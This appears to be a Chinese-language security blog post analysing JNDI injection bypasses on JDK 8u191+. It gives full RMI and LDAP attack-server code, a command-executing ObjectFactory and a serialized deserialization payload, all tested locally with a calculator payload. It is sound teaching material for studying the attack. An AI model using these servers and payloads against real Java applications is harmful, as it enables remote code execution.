jndi注入 jdk高版本利用方式详解
tj 发表于 浙江 WEB安全 1724浏览 · 2024-05-20 10:51

本次分析使用的java版本为jdk_8u191

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口,
其中rmi(远程方法调用)和ldap(轻量级目录访问协议)在低版本存在远程加载类导致命令执行,
RMI:6u132, 7u122, 8u113,LDAP:11.0.1, 8u191, 7u201, 6u211,以上版本开始无法利用远程加载,

下面开始分析绕过方式,

RMI 远程方法调用

pom.xml

<dependency> <groupid>com.unboundid</groupid> <artifactid>unboundid-ldapsdk</artifactid> <version>6.0.5</version> </dependency>

服务端如下:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMI_server {

    public static void main(String[] args) throws Exception{
        //在指定端口上创建并启动一个RMI注册表实例。RMI注册表是一个简单的命名服务,
        //它允许RMI服务器注册它们的远程对象,使得RMI客户端可以查找和使用这些远程对象
        Registry registry= LocateRegistry.createRegistry(1111);

        //Reference代表了一个外部资源的引用对象
        //第一个参数指定与此引用关联的类的名称,
        //第二个参数指定创建或管理引用对象的工厂类的名称,
        //第三个参数指定工厂类的位置,
        Reference reference = new Reference("Payload", "Payload", "http://127.0.0.1:8888/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        //将JNDI命名空间中创建一个名称与对象的关联,使得以后可以通过该名称查找该对象
        registry.bind("payload", wrapper);

    }
}

客户端如下:

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMI_client {
    public static void main(String[] args) {
        try {
            //构建一个初始上下文,
            //lookup() 查找 JNDI 命名空间中的对象
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1111/payload");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

运行后报错The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true',开始分析为什么报错,

在报错处断点,com.sun.jndi.rmi.registry.RegistryContext#decodeObject,
trustURLCodebase默认为false,直接报异常,因此这里是默认禁用了远程加载,

这里var8是我们服务端设置的外部资源的引用对象Reference,
那么我们只需要将var8或者var8.getFactoryClassLocation()设置为null就可以进行下一步操作,
我们肯定不能将Reference设置为空,不然引用对象就没有了,
因此设置var8.getFactoryClassLocation()为null,也就是factorylocation,

把factorylocation设置为null后,进入getObjectInstance函数,

在getObjectInstance函数中利用getFactoryClassName函数获取Reference的工厂类名,
然后利用getObjectFactoryFromReference函数去加载并初始化工程类,

这里返回的是ObjectFactoty类型,说明工厂类需要实现ObjectFactoty接口,146行开始加载并初始化类,

加载并初始化类,注意这里需要类的全限定名,

这里最终调用工厂类的getObjectInstance函数,

那么绕过思路就是将factorylocation设置为null,
找到一个本地工厂类,并且实现了ObjectFactoty接口,重写了getObjectInstance函数,
getObjectInstance函数能达到命令执行的效果,就能绕过高版本的远程加载限制了。

开始实验,
添加工厂类,

package org.example;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class PayloadObjectFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        return 1;
    }
}



将RMI_server更改为以下内容
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMI_server {

    public static void main(String[] args) throws Exception{
        //在指定端口上创建并启动一个RMI注册表实例。RMI注册表是一个简单的命名服务,
        //它允许RMI服务器注册它们的远程对象,使得RMI客户端可以查找和使用这些远程对象
        Registry registry= LocateRegistry.createRegistry(1111);

        //Reference代表了一个外部资源的引用对象
        //第一个参数指定与此引用关联的类的名称,
        //第二个参数指定创建或管理引用对象的工厂类的名称,
        //第三个参数指定工厂类的位置,
        Reference reference = new Reference("aaa", "org.example.PayloadObjectFactory", null);
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        //将JNDI命名空间中创建一个名称与对象的关联,使得以后可以通过该名称查找该对象
        registry.bind("payload", wrapper);

    }
}

然后运行rmi客户端,成功弹出计算器,

LDAP:轻量级目录访问协议

ldap服务端,

package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAP_server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
        int port = 1111;

        try {
            //创建一个内存中的LDAP服务器配置,
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            //服务器配置中添加自定义操作拦截器,
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

            //创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

            //向LDAP条目添加属性
            e.addAttribute("javaClassName", "javaclassname");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            //设置工厂类地址,
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            //设置工厂类名
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端,

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAP_client {
    public static void main(String[] args) {
        try {
            //构建一个初始上下文,
            //lookup() 查找 JNDI 命名空间中的对象
            Object ret = new InitialContext().lookup("ldap://127.0.0.1:1111/payload");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

从入口开始,

javax.naming.spi.NamingManager#getObjectFactoryFromReference,
在本地没有得到工厂类后,开始远程获取工厂类,不过这里默认trustURLCodebase默认为false,因此远程加载肯定是失败的,
堆栈如图所示,

这里和rmi的绕过方式一样,
找到一个本地工厂类,并且实现了ObjectFactoty接口,重写了getObjectInstance函数,
getObjectInstance函数能达到命令执行的效果,就能绕过高版本的远程加载限制了。

继续使用我们之前添加的本地工厂类PayloadObjectFactory,

将ldap服务端改为(设置本地工厂类,不设置工厂类的地址):

package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAP_server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
        int port = 1111;

        try {
            //创建一个内存中的LDAP服务器配置,
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            //服务器配置中添加自定义操作拦截器,
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

            //创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

            //向LDAP条目添加属性
            e.addAttribute("javaClassName", "javaclassname");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            //设置工厂类地址,
            //e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            //设置工厂类名
            e.addAttribute("javaFactory", "org.example.PayloadObjectFactory");
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

运行客户端,

ldap还可以使用自身的反序列化来绕过,
ldap会判断是否存在javaSerializedData字段,存在就会反序列化我们的字段内容,
com.sun.jndi.ldap.Obj#decodeObject中,执行了deserializeObject函数,对数据进行了反序列化操作,
堆栈如图所示:

那么这里就需要满足((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null,
需要再在服务端添加javaSerializedData属性,并将值设置为字节数组,

添加一个反序列化口子,

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Payload implements Serializable {

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc");
    }
}

生成序列化数据,

package org.example;

import java.io.*;
import java.util.Arrays;

public class Serialize_payload {
    public static void main(String[] tmp_args) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(new Payload());
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Arrays.toString(bytes));

        //byte[] bytes =  new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
    }
}

将序列化数据添加到ldap服务器中,

package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAP_server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
        int port = 1111;

        try {
            //创建一个内存中的LDAP服务器配置,
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            //服务器配置中添加自定义操作拦截器,
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

            //创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

            //向LDAP条目添加属性
            e.addAttribute("javaClassName", "javaclassname");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }


            byte[] bytes =  new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
            e.addAttribute("javaSerializedData", bytes);


            //设置工厂类地址,
            //e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            //设置工厂类名
            e.addAttribute("javaFactory", "javafactory");
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

运行ldap客户端,反序列化成功,

总结:

rmi远程方法调用只能通过本地工厂类来绕过,
ldap轻量级目录访问协议可以通过本地工厂类和反序列化来绕过,

本地工厂类需要实现ObjectFactory接口,重写getObjectInstance方法,
此方法能直接或者达到命令执行的效果,

反序列化需要在本地有链子,

参考:
https://tttang.com/archive/1611/
https://tttang.com/archive/1405/
https://xz.aliyun.com/t/8214?time__1311=n4%2BxuDgDBDy03DKD%3DG8Dlx6eKx7wsxOuDbD

0 条评论
某人
表情
可输入 255